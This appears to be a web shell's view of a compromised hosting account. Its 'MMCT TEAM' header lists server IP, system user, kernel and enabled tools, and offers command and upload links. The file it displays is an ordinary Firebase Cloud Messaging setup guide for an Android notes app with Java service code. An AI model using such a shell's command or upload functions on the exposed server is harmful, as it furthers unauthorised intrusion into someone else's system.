MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.63
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/js/../../../public_html/onv/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/js/../../../public_html/onv/FIREBASE_SETUP.md
# Firebase Setup Guide

This guide will help you set up Firebase Cloud Messaging (FCM) for push notifications in your Online Notes Android app.

## 1. Create a Firebase Project

1. Go to [Firebase Console](https://console.firebase.google.com/)
2. Click "Create a project" or "Add project"
3. Enter your project name (e.g., "online-notes-app")
4. Choose whether to enable Google Analytics (optional)
5. Click "Create project"

## 2. Add Android App to Firebase

1. In your Firebase project, click the Android icon to add an Android app
2. Enter your Android package name (from your AndroidManifest.xml)
3. Enter an app nickname (optional)
4. Click "Register app"
5. Download the `google-services.json` file
6. Place the `google-services.json` file in your Android app's `app/` directory

## 3. Enable Firebase Cloud Messaging

1. In Firebase Console, go to "Cloud Messaging" in the left sidebar
2. Click "Get started" if you haven't already
3. Note down the Server Key (you'll need this for Laravel backend)

## 4. Generate Service Account Key

1. In Firebase Console, go to Project Settings (gear icon)
2. Click "Service accounts" tab
3. Click "Generate new private key"
4. Download the JSON file

## 5. Configure Firebase Settings in Admin Panel

1. Login to your admin panel
2. Go to Settings > Firebase Push Notifications
3. Configure the following settings:
   - **Firebase Service Account Credentials**: Upload the downloaded JSON file
   - **Enable Firebase Notifications**: Check this to enable push notifications
4. Click "Update Firebase Settings"

## 6. Install Dependencies

Run the following commands in your Laravel project:

```bash
composer install
php artisan migrate
```

## 7. Android App Integration

### Add Dependencies to build.gradle (app level)

```gradle
dependencies {
    // Firebase
    implementation 'com.google.firebase:firebase-messaging:23.1.2'
    implementation 'com.google.firebase:firebase-analytics:21.2.0'

    // Other dependencies...
}
```

### Add Firebase Plugin to build.gradle (project level)

```gradle
plugins {
    id 'com.google.gms.google-services' version '4.3.15'
}
```

### Create Firebase Messaging Service

Create `app/src/main/java/com/yourpackage/services/FirebaseMessagingService.java`:

```java
package com.yourpackage.services;

import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.media.RingtoneManager;
import android.net.Uri;
import android.os.Build;
import android.util.Log;

import androidx.core.app.NotificationCompat;

import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.yourpackage.MainActivity;
import com.yourpackage.R;

public class MyFirebaseMessagingService extends FirebaseMessagingService {

    private static final String TAG = "MyFirebaseMsgService";

    @Override
    public void onMessageReceived(RemoteMessage remoteMessage) {
        Log.d(TAG, "From: " + remoteMessage.getFrom());

        // Check if message contains a data payload
        if (remoteMessage.getData().size() > 0) {
            Log.d(TAG, "Message data payload: " + remoteMessage.getData());
            handleDataMessage(remoteMessage);
        }

        // Check if message contains a notification payload
        if (remoteMessage.getNotification() != null) {
            Log.d(TAG, "Message Notification Body: " + remoteMessage.getNotification().getBody());
            handleNotificationMessage(remoteMessage);
        }
    }

    private void handleDataMessage(RemoteMessage remoteMessage) {
        String title = remoteMessage.getData().get("title");
        String message = remoteMessage.getData().get("message");
        String notificationId = remoteMessage.getData().get("notification_id");
        String noteId = remoteMessage.getData().get("note_id");

        sendNotification(title, message, notificationId, noteId);
    }

    private void handleNotificationMessage(RemoteMessage remoteMessage) {
        String title = remoteMessage.getNotification().getTitle();
        String message = remoteMessage.getNotification().getBody();

        sendNotification(title, message, null, null);
    }

    private void sendNotification(String title, String messageBody, String notificationId, String noteId) {
        Intent intent = new Intent(this, MainActivity.class);
        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);

        // Add extra data
        if (notificationId != null) {
            intent.putExtra("notification_id", notificationId);
        }
        if (noteId != null) {
            intent.putExtra("note_id", noteId);
        }

        PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, intent,
                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE);

        String channelId = "default_channel";
        Uri defaultSoundUri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION);

        NotificationCompat.Builder notificationBuilder =
                new NotificationCompat.Builder(this, channelId)
                        .setSmallIcon(R.drawable.ic_notification)
                        .setContentTitle(title != null ? title : "Online Notes")
                        .setContentText(messageBody)
                        .setAutoCancel(true)
                        .setSound(defaultSoundUri)
                        .setContentIntent(pendingIntent);

        NotificationManager notificationManager =
                (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);

        // Since Android Oreo notification channel is needed
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel channel = new NotificationChannel(channelId,
                    "Default Channel",
                    NotificationManager.IMPORTANCE_DEFAULT);
            notificationManager.createNotificationChannel(channel);
        }

        notificationManager.notify(0, notificationBuilder.build());
    }

    @Override
    public void onNewToken(String token) {
        Log.d(TAG, "Refreshed token: " + token);
        sendRegistrationToServer(token);
    }

    private void sendRegistrationToServer(String token) {
        // Send token to your server
        // You should implement this to register the token with your Laravel backend
    }
}
```

### Register the Service in AndroidManifest.xml

```xml
<application>
    <!-- Other components -->

    <service
        android:name=".services.MyFirebaseMessagingService"
        android:exported="false">
        <intent-filter>
            <action android:name="com.google.firebase.MESSAGING_EVENT" />
        </intent-filter>
    </service>
</application>
```

### Register FCM Token with Laravel Backend

When the app starts or when a new token is received, send it to your Laravel backend:

```java
// In your MainActivity or Application class
FirebaseMessaging.getInstance().getToken()
    .addOnCompleteListener(new OnCompleteListener<String>() {
        @Override
        public void onComplete(@NonNull Task<String> task) {
            if (!task.isSuccessful()) {
                Log.w(TAG, "Fetching FCM registration token failed", task.getException());
                return;
            }

            String token = task.getResult();
            registerTokenWithServer(token);
        }
    });

private void registerTokenWithServer(String token) {
    // Use Retrofit or Volley to send POST request to /api/fcm/register
    // Include token, device_type, device_id in the request
}
```

## 8. Test Push Notifications

1. Create a notification in your Laravel admin panel
2. Use the "Send via FCM" button
3. Check that the notification appears on your Android device

## Troubleshooting

- **Invalid credentials**: Make sure your `firebase-credentials.json` file is in the correct location and has proper permissions
- **No notifications received**: Check that FCM tokens are properly registered and active
- **Build errors**: Ensure all Firebase dependencies are added correctly in your build.gradle files

## API Endpoints

- `POST /api/fcm/register` - Register FCM token
- `POST /api/fcm/unregister` - Unregister FCM token
- `POST /api/notifications/{id}/send` - Send notification via FCM (admin only)

MMCT - 2023